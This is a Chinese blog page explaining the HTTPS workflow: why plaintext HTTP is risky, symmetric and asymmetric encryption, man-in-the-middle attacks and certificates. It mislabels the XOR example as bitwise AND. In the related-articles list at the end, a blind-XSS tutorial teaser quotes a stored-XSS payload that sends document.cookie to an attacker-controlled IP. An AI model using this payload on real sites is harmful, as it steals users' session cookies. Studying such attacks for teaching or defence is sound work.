HTTPS的工作流程

.

HTTPS是什么?

https是应用层中的一个协议,是在http协议的基础上引入的一个加密层。

为什么需要HTTPS

由于http协议内容都是按照文本的方式明文传输的,这就导致传输过程中会出现一些被篡改的情况。
运营商劫持事件
最开始百度,搜狗等浏览器是使用http传输数据的,总所总之,百度是靠广告赚钱的,广告主那边的服务器会统计http中的reference的地址是谁的,如果是百度的,会给百度一定费用。但是在传输过程中,需要经过运营商的交换机,路由器,会解析出当前传输的数据,把reference的百度地址,改成自己,让广告主给自己付钱。从此以后,互联网公司纷纷升级成https。

HTTPS的加密过程

引入对称加密

对称加密就是通过同一个“密钥”,把明文加密成密文,并且也能把密文解密成明文。

最简单的对称加密:按位与
假设明文 a=1234,密钥 key=8888
经过加密a^key得到密文b = 9834
然后针对密文9834再进行运算b^key,得到的就是原来的明文1234
当然https肯定不是采用这种方式

image.png
引入对称加密后,即使数据被截取,由于黑客不知道密钥是什么,因此就无法进行解密。

但是事情并没有那么简单,服务器同一时刻需要给多个客服端提供服务,每个客户端使用的密钥是不相同(如果相同,密钥容易扩散,黑客很容易拿到),因此服务器需要维护每个客户端和每个密钥之间的关联。将每个客服端的密钥都存在服务器,不现实。
比较理想的做法,就是在客户端和服务器建立连接的时候,双方协商确定这次密钥是什么
image.png
但是如果直接将密钥明文传输,那么黑客也就能获得到密钥了。
因此密钥的传输必须加密传输!
如果是使用对称加密,那就是掩人耳目。需要引入非对称加密。

非对称加密

非对称加密会使用两个密钥,一个是公钥,一个是密钥。公钥和密钥是配对的,可以通过公钥给明文加密,在通过密钥对密文解密;也可以反过来使用。
让服务器生成一对非对称密钥,一个是公开出来的,任何人都能获取到公钥;另外一个是私密的,只有服务器自己知道。
image.png

  1. 客户端在本地生成对称密钥, 通过公钥加密, 发送给服务器.
  2. 由于中间的网络设备没有私钥, 即使截获了数据, 也无法还原出内部的原文, 也就无法获取到对称密钥
  3. 服务器通过私钥解密, 还原出客户端发送的对称密钥. 并且使用这个对称密钥加密给客户端返回的响应数据.
  4. 后续客户端和服务器的通信都只用对称加密即可. 由于该密钥只有客户端和服务器两个主机知道, 其他主机/设备不知道密钥即使截获数据也没有意义.

但是黑客还是有办法入侵的,即中间人攻击!
image.png

这就类似于,A喜欢B,不好意西开口,叫C帮他传话,结果C嫉妒B,本来B同意,却跟A说B拒绝你了。

:::success
由于对称加密加密的效率比非对称加密高很多,因此只是在开始阶段协商密钥的时候使用非对称加密,后续的传输仍然使用对称加密。
:::

引入证书

解决中间人攻击的关键,就是要能够证明这个公钥,是服务器自己的公钥,而不是伪造的。
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/130302.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

比较PID控制和神经网络控制在机器人臂上的应用

机器人臂是自动化领域中常见的机器人形式,其精确控制对于实现复杂任务具有重要意义。在机器人臂的控制中,PID控制和神经网络控制是两种常用的控制方法。本文将比较PID控制和神经网络控制在机器人臂控制方面的应用,包括控制原理、优缺点以及在…

【广州华锐互动】太空探索VR模拟仿真教学系统

随着科技的不断发展,人类对宇宙的探索欲望愈发强烈。火星作为距离地球最近的行星之一,自然成为了人类关注的焦点。近年来,火星探测取得了一系列重要成果,为人类了解火星提供了宝贵的信息。然而,实地考察火星仍然面临着…

C++——基础

初学C的时候,有没有想过,为什么C支持重载,而C不支持重载呢?? 其实,一个程序运行起来都要经过四步骤 预处理编译汇编链接 预处理阶段会经过去注释,宏替换,头文件展开,条…

Liunx终极环境搭建

华子目录 网络服务准备工作安装RHEL9系统部署RHEL9操作系统虚拟网络编辑器配置RHEL9系统系统中的设置更换yum源修改主机名关闭selinux,firewalld设置静态ip (网络配置) 网络服务 准备工作 以下为RHEL9镜像资源,有需要的博友们可…

Ubuntu(WSL) mysql8.0.31 源码安装

要在 Ubuntu 上使用调试功能安装 MySQL 8.0 的源码,可以按照以下详细步骤进行操作: 1. 更新系统 首先,确保你的 Ubuntu 系统是最新的。运行以下命令更新系统软件包: sudo apt update sudo apt upgrade 2. 下载 MySQL 源码 访…

ChatGPT Plus的Vision升级是一个改变游戏规则的创举

内容来源:0xluffy_eth ChatGPT Plus的Vision升级是一个改变游戏规则的创举! 现在每个用户都可以以每月20美元的价格雇用自己的个人数字助理实习生,具备VISION! 以下是10个惊人的例子() 1, 我…

Blender--》点线面操作及其面操作的详解

接下来我会在three.js专栏中分享关于3D建模知识的文章,如果学习three朋友并且想了解和学习3D建模,欢迎关注本专栏,关于这款3D建模软件blender的安装,我在前面的文章已经讲解过了,如果不了解的朋友可以去考考古&#xf…

this和super

文章目录 this用法普通的直接引用区分形参与实参 super用法普通的直接引用区分子类与父类同名的属性或方法 this和super 与 构造方法总结 this this引用表示当前对象对象的引用。 用法 普通的直接引用 public class Test {int a ;int b;public Test() {this.b 0;} }调用当…

mysql的sql_mode参数

msql修改了这个参数,首先mysql需要重新才能生效,还有就是java连接的springboot项目也需要重新启动。之前是遇到了下面的这个报错。只需要把sql_mode设置为空,重启mysql和服务就行 报错 In aggregated query without GROUP BY, expression #1…

使用 pubsub-js 进行消息发布订阅

npm 包地址 github 包地址 pubsub-js 是一个轻量级的 JavaScript 基于主题的消息订阅发布库 ,压缩后小于1b。它具有使用简单、性能高效、支持多平台等优点,可以很好地满足各种需求。 功能特点: 无依赖同步解耦ES3 兼容。pubsub-js 能够在…

Vatee万腾外汇数字化策略:Vatee科技决策力的未来引领

在外汇市场,Vatee万腾通过其前瞻性的外汇数字化策略,正引领着科技决策的未来。这一数字化策略的崭新愿景为投资者提供了更智慧、更高效的外汇投资体验,成为科技决策领域的翘楚。 Vatee万腾的外汇数字化策略是科技决策力未来引领的典范。通过运…

C# PaddleInference.PP-HumanSeg 人像分割 替换背景色

效果 项目 VS2022.net4.8OpenCvSharp4Sdcb.PaddleInference 包含4个分割模型 modnet-hrnet_w18 modnet-mobilenetv2 ppmatting-hrnet_w18-human_512 ppmattingv2-stdc1-human_512 代码 using OpenCvSharp; using Sdcb.PaddleInference; using System; using System.Col…

Springboot SpringCloudAlibaba Nacos 项目搭建

依赖版本: spring-boot:2.3.12.RELEASE spring-cloud-alibaba:2.2.7.RELEASE spring-cloud:Hoxton.SR12 nacos:2.0.3 1.部署搭建Nacos注册中心 Linux Nacos 快速启动_nacos linux快速启动-CSDN博客 2.构建项目 源码地…

STM32——STM32F4系统架构

文章目录 前言STM32F4XX系统架构 前言 本篇文章为STM32F4系列的系统架构,因为最近在学习F4的板子,暂时先更F4的,有需要F1的后续再更新。 主系统由 32 位多层 AHB 总线矩阵构成,可实现以下部分的互连: STM32F4XX系统架…

19. 深度学习 - 用函数解决问题

文章目录 Hi, 你好。我是茶桁。 上一节课,我们从一个波士顿房价的预测开始写代码,写到了KNN。 之前咱们机器学习课程中有讲到KNN这个算法,分析过其优点和缺点,说起来,KNN这种方法比较低效,在数…

万能在线预约小程序系统源码 适合任何行业在线预约小程序+预约到店模式 带完整的搭建教程

大家好啊,源码小编又来给大家分享啦!随着互联网的发展和普及,越来越多的服务行业开始使用在线预约系统以方便客户和服务管理。例如,美发店、健身房、餐厅等都可以通过在线预约系统提高服务效率,减少等待时间&#xff0…

开机自启动笔记本的小键盘

虽然电脑开机次数不多,但每次开机都要摁下小键盘的开关,好烦 终于忍不住了: 将下面文件命名为 XXX.bat echo off rem 禁用批处理文件中的命令回显,以使输出更整洁rem 查询注册表中 "InitialKeyboardIndicators" 的值 r…

赛氪中西部外语翻译大赛入榜2023国内翻译赛事发展评估报告

中西部外语翻译大赛入选中国外文局CATTI项目管理中心和中国外文界平台联合发布《2023国内翻译赛事发展评估报告》 近日,中国外文局CATTI项目管理中心和中国外文界平台联合发布了《2023国内翻译赛事发展评估报告》,报告对国内主流外语翻译赛事进行了问卷调…

【微服务专题】手写模拟SpringBoot

目录 前言阅读对象阅读导航前置知识笔记正文一、工程项目准备1.1 新建项目1.1 pom.xml1.2 业务模拟 二、模拟SpringBoot启动:好戏开场2.1 启动配置类2.1.1 shen-base-springboot新增2.1.2 shen-example客户端新增启动类 三、run方法的实现3.1 步骤一:启动…

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…